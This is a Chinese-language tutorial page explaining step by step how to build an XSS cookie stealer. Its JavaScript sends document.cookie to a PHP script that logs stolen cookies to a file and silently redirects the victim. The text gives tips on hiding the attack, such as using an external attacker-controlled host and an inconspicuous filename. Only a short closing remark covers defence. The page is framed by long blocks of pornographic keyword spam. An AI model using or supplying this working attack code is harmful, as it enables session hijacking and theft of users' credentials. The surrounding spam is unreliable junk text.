亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > JavaScript > 正文

JS寫XSS cookie stealer來竊取密碼的步驟詳解

2019-11-19 14:54:08
字體:
來源:轉載
供稿:網友

JavaScript是web中最常用的腳本開發語言,js可以自動執行站點組件,管理站點內容,在web業內實現其他有用的函數。JS可以有很多的函數可以用做惡意用途,包括竊取含有密碼等內容的用戶cookie。

Cookie是站點請求和保持特定訪問頁面的信息。Cookie含有訪問的方式、時間、用戶名密碼等認證信息等。當用戶訪問給定站點時,必須使用cookie;如果攻擊者可以攔截cookie,就可以利用cookie竊取用戶的一些信息。對某個特定的域名,使用JS可以保存或修改用戶的cookie。也就是說,如果攻擊者可以利用JS查看、修改cookie,那么這可以變成一種有價值的黑客技術。

基于JS的攻擊可以有效地與代碼注入等技術相結合,這可能造成惡意代碼在可信的網站上執行。

下面開始創建XSS cookie stealer

Step 1: 創建 HTML Test 頁

首先,創建一個標準的HTML頁

mkdir cookiestealercd cookiestealertouch index.html

然后,編輯index.html

nano index.html<html><body></body></html>

測試頁面

Step 2: 創建Cookie

創建一個可以插入到cookie中的基本參數――字符串。這個cookie只能用于本頁面中,同樣的,之后的注入也應用于該頁面保存的所有cookie。

 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

該腳本要插入到HTML的<body>部分,如下:

如果運行該腳本的頁面打開了,那么就會設定cookie,但是瀏覽器中不會顯示任何東西。我們可以用document.write函數直接查看cookie。

document.write(document.cookie);

同樣功能的腳本如下:

 <script type="text/javascript"> document.cookie = "username=Null Byte"; document.write(document.cookie); </script>

在瀏覽器中打開頁面,就會出現如下的cookie信息:

說明我們成功地為這個頁面設置了"username=Null Byte" 的cookie。

Step 3: 用js腳本竊取Cookies

我們用來傳遞cookies到服務器的js字符串使用了document.cookie參數,但是我們用的是document.location中定義的url。

document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目標是社交媒體網站,腳本需要注入到該站點中,竊取的cookies要發送給黑客控制的IP或URL。

把js代碼嚇到<script>標簽中:

<script type="text/javascript"> document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie; </script>

HTML頁面代碼應該是下面這樣:

剩下對cookie進行處理的部分需要PHP來處理。

Step 4: 用PHP處理Cookies

在上面的例子中,竊取cookie的PHP文件是cookiestealer.php,位于127.0.0.1網址下。

在實際運行中,不能用cookiestealer.php這么明顯的名字,而且應該位于外部IP或URL下。

首先,在index.html相同目錄下創新PHP文件。

nano cookiestealer.php

第一個元素需要定義的是重定向頁面跳轉。

<?phpheader ('Location:https://google.com');?>

為了不讓用戶意識到可能遭到攻擊,最好重定向用戶到相同域下的其他頁面,這樣用戶就不會意識到。

重定向完成后,需要其他代碼來處理cookie。

1. 分配cookie到一個變量;

$cookies = $_GET"c";

2. 定義保存cookie的文件,這個文件保存的位置應該是我們控制的。

本例中,文件名為log.txt。

 $file = fopen('log.txt', 'a');

3. 把上面的兩個參數的內容寫入log文件,即將cookie寫入log.txt。

fwrite($file, $cookies . "nn");

代碼如下:

然后,需要準備PHP文件的測試環境。

Step 5: 測試Cookie Stealer

在index.html 和 cookiestealer.php相同目錄下,搭建一個測試用的PHP環境。

php -S 127.0.0.1:80

頁面測試成功。

打開頁面之后,瀏覽器會馬上重定向到預定義的網站,即Google。

查看PHP服務器的日志,我們注意到傳遞給php文件一個參數,而且php代碼執行了。

最后,我們可以檢查我們網站目錄下的log.txt文件來查看cookies。

cat log.txt

Log文件中含有cookie的內容,說明我們成功的使用js代碼竊取了cookies。

Step 6: 攻擊

Cookies含有重要的用戶信息,一般是明文的,有時甚至含有私鑰信息。所以非常重要,使用js代碼注入可以竊取用戶的cookies信息。

該攻擊可以注入到任何的HTML文件的<script>標簽中。常用的檢測XSS的方法是使用alert。

<script>alert("Alert");</script>

該腳本會嘗試打開類似下面的alert信息。如果打開了,說明網站易受到xss攻擊。

在現實的攻擊中,黑客會特別注意PHP文件的位置。如果處理得不好,php文件會容易暴露黑客的位置。如果這種攻擊出現了,那么根據cookie被發送和保存的位置,可以追蹤黑客。

上面的方法說明了JS作為攻擊工具的強大性。JS可以讓web更方便 ,如果某個網站易受到惡意JS注入,這會給用戶和網站帶來巨大的安全威脅。預防XSS攻擊的重擔落在了web開發者的身上。如果用戶認為運行在網站上的腳本是不可信的,也可以使用NoScript來阻止js代碼的運行。

總結

以上所述是小編給大家介紹的JS寫XSS cookie stealer來竊取密碼的步驟詳解,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對武林網網站的支持!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产在线拍偷自揄拍精品| 亚洲国产欧美在线成人app| 欧美大片网站在线观看| 精品视频9999| 亚洲影院高清在线| 国产欧美精品一区二区| 日韩欧美国产成人| 久久精品电影网站| 久久伊人免费视频| 久久久久久久久久久免费精品| 亚洲精品乱码久久久久久金桔影视| 国产日本欧美一区二区三区| 日韩精品中文字幕视频在线| 久久久久久久亚洲精品| 亚洲另类激情图| 97国产在线视频| 久久99精品国产99久久6尤物| 国产精品一区电影| 成人免费高清完整版在线观看| 亚洲一区久久久| 成人免费自拍视频| 亚洲视频在线观看| 日韩欧美中文免费| 欧洲中文字幕国产精品| 国产精品成人一区二区| 国产精品精品一区二区三区午夜版| 亚洲第五色综合网| 51色欧美片视频在线观看| 91高清视频免费观看| 91精品国产乱码久久久久久久久| 精品爽片免费看久久| 奇米影视亚洲狠狠色| 中文字幕精品av| 日韩久久午夜影院| 国产精品久久久久久五月尺| 欧美色道久久88综合亚洲精品| 成人黄色在线观看| 国产又爽又黄的激情精品视频| 7m第一福利500精品视频| 国产一区二区三区中文| 亚洲欧洲激情在线| 久久九九热免费视频| 国产精品一区二区久久久| 国产一区二区三区网站| 欧美日韩国产成人在线观看| 91九色综合久久| 亚洲精品久久久一区二区三区| 午夜免费在线观看精品视频| 萌白酱国产一区二区| 一本一道久久a久久精品逆3p| 日韩精品中文字幕视频在线| 日韩一区二区福利| 欧美日韩中文字幕| 91理论片午午论夜理片久久| 91精品国产成人| 亚洲大尺度美女在线| 亚洲精品98久久久久久中文字幕| 欧美精品videosex牲欧美| 日韩美女视频免费看| 成人久久一区二区| 精品日本美女福利在线观看| 91免费综合在线| 91热福利电影| 精品国产31久久久久久| 91欧美激情另类亚洲| 国内外成人免费激情在线视频| 色悠悠国产精品| 欧美精品在线第一页| 亚洲2020天天堂在线观看| 国产视频亚洲视频| 国产亚洲一区二区在线| 欧美成人激情视频免费观看| 亚洲成人激情小说| 在线看欧美日韩| 国产精品吊钟奶在线| 91大神福利视频在线| 日韩一二三在线视频播| 久久久久久久999精品视频| 日韩欧美在线观看视频| 久久久精品在线观看| 欧美第一黄网免费网站| 国产成人久久久精品一区| 国产精品久久久久久婷婷天堂| 国产精品视频男人的天堂| 国产精品国产三级国产aⅴ浪潮| 在线免费观看羞羞视频一区二区| 欧美成人中文字幕| 日韩**中文字幕毛片| 亚洲精品午夜精品| 久久九九免费视频| 亚洲成人激情图| 亚洲乱码av中文一区二区| 91久久精品日日躁夜夜躁国产| 欧美日韩一区二区在线播放| 亚洲精品av在线播放| 久久成人这里只有精品| 久久久亚洲网站| 亚洲精品国精品久久99热| 成人免费午夜电影| 北条麻妃久久精品| 欧美激情欧美狂野欧美精品| 久久久精品国产网站| 国产日韩精品在线播放| 欧美又大粗又爽又黄大片视频| 国产精品18久久久久久首页狼| 91精品国产沙发| 亚洲一区二区三区乱码aⅴ蜜桃女| 成人免费高清完整版在线观看| 欧美高清视频一区二区| 久久久噜噜噜久久久| 九九九久久久久久| 中文字幕亚洲专区| 精品国产31久久久久久| 国内精品视频在线| 另类专区欧美制服同性| 亚洲免费中文字幕| 久久综合国产精品台湾中文娱乐网| 91av在线国产| 日韩在线播放一区| 日本不卡视频在线播放| 中文字幕久热精品在线视频| 欧美精品电影在线| 国产深夜精品福利| 亚洲成年人在线| 日产精品久久久一区二区福利| 久久99久久久久久久噜噜| 精品毛片三在线观看| 国产丝袜一区视频在线观看| 亚洲成人激情在线| 91精品久久久久久久久不口人| 91精品久久久久久久久| 精品欧美激情精品一区| 国内精品免费午夜毛片| 国产玖玖精品视频| 欧美一区在线直播| 97国产一区二区精品久久呦| 中日韩午夜理伦电影免费| 亚洲欧洲国产一区| 中文字幕精品一区二区精品| 国语自产精品视频在线看| 日韩精品视频免费| 日韩一区二区福利| 中文字幕日韩欧美精品在线观看| 精品毛片网大全| 亚洲最新视频在线| 欧美成人免费视频| 国产精品美女无圣光视频| 在线观看久久av| 国产日产久久高清欧美一区| 色综合久综合久久综合久鬼88| 911国产网站尤物在线观看| 久久天天躁狠狠躁夜夜av| 91久久精品国产91久久| 久久亚洲国产成人| 最近中文字幕2019免费| 日本电影亚洲天堂| 成人免费淫片aa视频免费| 欧美日韩亚洲精品一区二区三区| 国产精品免费在线免费| 海角国产乱辈乱精品视频| 91免费视频国产| 亚洲精品有码在线| 国产精品视频免费观看www| 亚洲国产美女精品久久久久∴|